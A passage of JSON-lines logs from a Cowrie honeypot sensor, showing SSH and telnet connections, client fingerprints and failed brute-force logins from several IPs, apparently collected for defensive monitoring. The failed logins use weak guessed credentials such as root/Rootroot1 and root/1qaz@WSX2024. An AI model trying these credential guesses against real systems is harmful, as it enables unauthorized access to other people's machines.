6","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:57.375513Z","src_ip":"193.24.211.95","session":"3b934385b873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2022","message":"login attempt [root/2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:57.804864Z","src_ip":"193.24.211.95","session":"3b934385b873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:10:58.919646Z","src_ip":"193.24.211.95","session":"3b934385b873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.037297010421753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:11:17.230437Z","src_ip":"104.245.105.2","session":"b473ca1e286b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49632,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6abb0b986ff","protocol":"telnet","message":"New connection: 104.245.105.2:49632 (10.17.0.5:23) [session: e6abb0b986ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:11:23.471857Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":35594,"dst_ip":"159.203.135.109","dst_port":22,"session":"996211f0572e","protocol":"ssh","message":"New connection: 182.48.68.82:35594 (159.203.135.109:22) [session: 996211f0572e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:11:35.759256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:11:35.764360Z","src_ip":"182.48.68.82","session":"996211f0572e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:11:36.005249Z","src_ip":"182.48.68.82","session":"996211f0572e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rootroot1","message":"login attempt [root/Rootroot1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:11:37.000283Z","src_ip":"182.48.68.82","session":"996211f0572e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:11:38.244006Z","src_ip":"182.48.68.82","session":"996211f0572e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.30638027191162,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:12:00.778114Z","src_ip":"104.245.105.2","session":"e6abb0b986ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43526,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5375c1e04b","protocol":"telnet","message":"New connection: 104.245.105.2:43526 (10.17.0.5:23) [session: 2c5375c1e04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:12:28.253139Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":53964,"dst_ip":"159.203.135.109","dst_port":22,"session":"1635672cecfd","protocol":"ssh","message":"New connection: 182.48.68.82:53964 (159.203.135.109:22) [session: 1635672cecfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:12:44.526198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:12:44.532678Z","src_ip":"182.48.68.82","session":"1635672cecfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:12:44.772232Z","src_ip":"182.48.68.82","session":"1635672cecfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whoami123","message":"login attempt [root/whoami123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:12:45.764878Z","src_ip":"182.48.68.82","session":"1635672cecfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:12:47.008814Z","src_ip":"182.48.68.82","session":"1635672cecfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52132,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7ce530c2d6b","protocol":"telnet","message":"New connection: 104.245.105.2:52132 (10.17.0.5:23) [session: e7ce530c2d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:12:56.720043Z"}
{"eventid":"cowrie.session.closed","duration":31.369465589523315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:12:59.622494Z","src_ip":"104.245.105.2","session":"2c5375c1e04b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47902,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a69060c2e79","protocol":"ssh","message":"New connection: 194.59.206.2:47902 (10.17.0.5:22) [session: 9a69060c2e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:19.667103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:19.671610Z","src_ip":"194.59.206.2","session":"9a69060c2e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:19.761611Z","src_ip":"194.59.206.2","session":"9a69060c2e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:19.859962Z","src_ip":"194.59.206.2","session":"9a69060c2e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":35336,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9daa81a89ef","protocol":"ssh","message":"New connection: 14.225.217.138:35336 (159.203.135.109:22) [session: e9daa81a89ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:22.160233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:22.164676Z","src_ip":"14.225.217.138","session":"e9daa81a89ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:22.448497Z","src_ip":"14.225.217.138","session":"e9daa81a89ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing123","password":"testing123","message":"login attempt [testing123/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:23.627729Z","src_ip":"14.225.217.138","session":"e9daa81a89ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:24.915423Z","src_ip":"14.225.217.138","session":"e9daa81a89ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":54052,"dst_ip":"159.203.135.109","dst_port":22,"session":"e804cbbfff1c","protocol":"ssh","message":"New connection: 182.48.68.82:54052 (159.203.135.109:22) [session: e804cbbfff1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:48.508754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:48.513250Z","src_ip":"182.48.68.82","session":"e804cbbfff1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:48.754507Z","src_ip":"182.48.68.82","session":"e804cbbfff1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.67053031921387,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:49.390453Z","src_ip":"104.245.105.2","session":"e7ce530c2d6b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:49.747565Z","src_ip":"182.48.68.82","session":"e804cbbfff1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:13:50.991117Z","src_ip":"182.48.68.82","session":"e804cbbfff1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56778,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9d44ac34386","protocol":"telnet","message":"New connection: 104.245.105.2:56778 (10.17.0.5:23) [session: a9d44ac34386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:19.152399Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":35084,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a60600b2bff","protocol":"ssh","message":"New connection: 14.225.217.138:35084 (159.203.135.109:22) [session: 3a60600b2bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:19.157540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:19.161962Z","src_ip":"14.225.217.138","session":"3a60600b2bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:19.414088Z","src_ip":"14.225.217.138","session":"3a60600b2bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hssuser","password":"hssuser","message":"login attempt [hssuser/hssuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:20.455059Z","src_ip":"14.225.217.138","session":"3a60600b2bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:21.709627Z","src_ip":"14.225.217.138","session":"3a60600b2bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41260,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aac16c5298b","protocol":"telnet","message":"New connection: 104.245.105.2:41260 (10.17.0.5:23) [session: 0aac16c5298b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:42.006674Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41272,"dst_ip":"10.17.0.5","dst_port":23,"session":"3739ef921d66","protocol":"telnet","message":"New connection: 104.245.105.2:41272 (10.17.0.5:23) [session: 3739ef921d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:49.288043Z"}
{"eventid":"cowrie.session.closed","duration":31.05362892150879,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:50.205896Z","src_ip":"104.245.105.2","session":"a9d44ac34386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":58796,"dst_ip":"159.203.135.109","dst_port":22,"session":"00b8a37f8b9a","protocol":"ssh","message":"New connection: 182.48.68.82:58796 (159.203.135.109:22) [session: 00b8a37f8b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:54.716387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:54.729639Z","src_ip":"182.48.68.82","session":"00b8a37f8b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:54.970746Z","src_ip":"182.48.68.82","session":"00b8a37f8b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX2024","message":"login attempt [root/1qaz@WSX2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:55.966438Z","src_ip":"182.48.68.82","session":"00b8a37f8b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:14:57.218989Z","src_ip":"182.48.68.82","session":"00b8a37f8b9a","protocol":"ssh"}
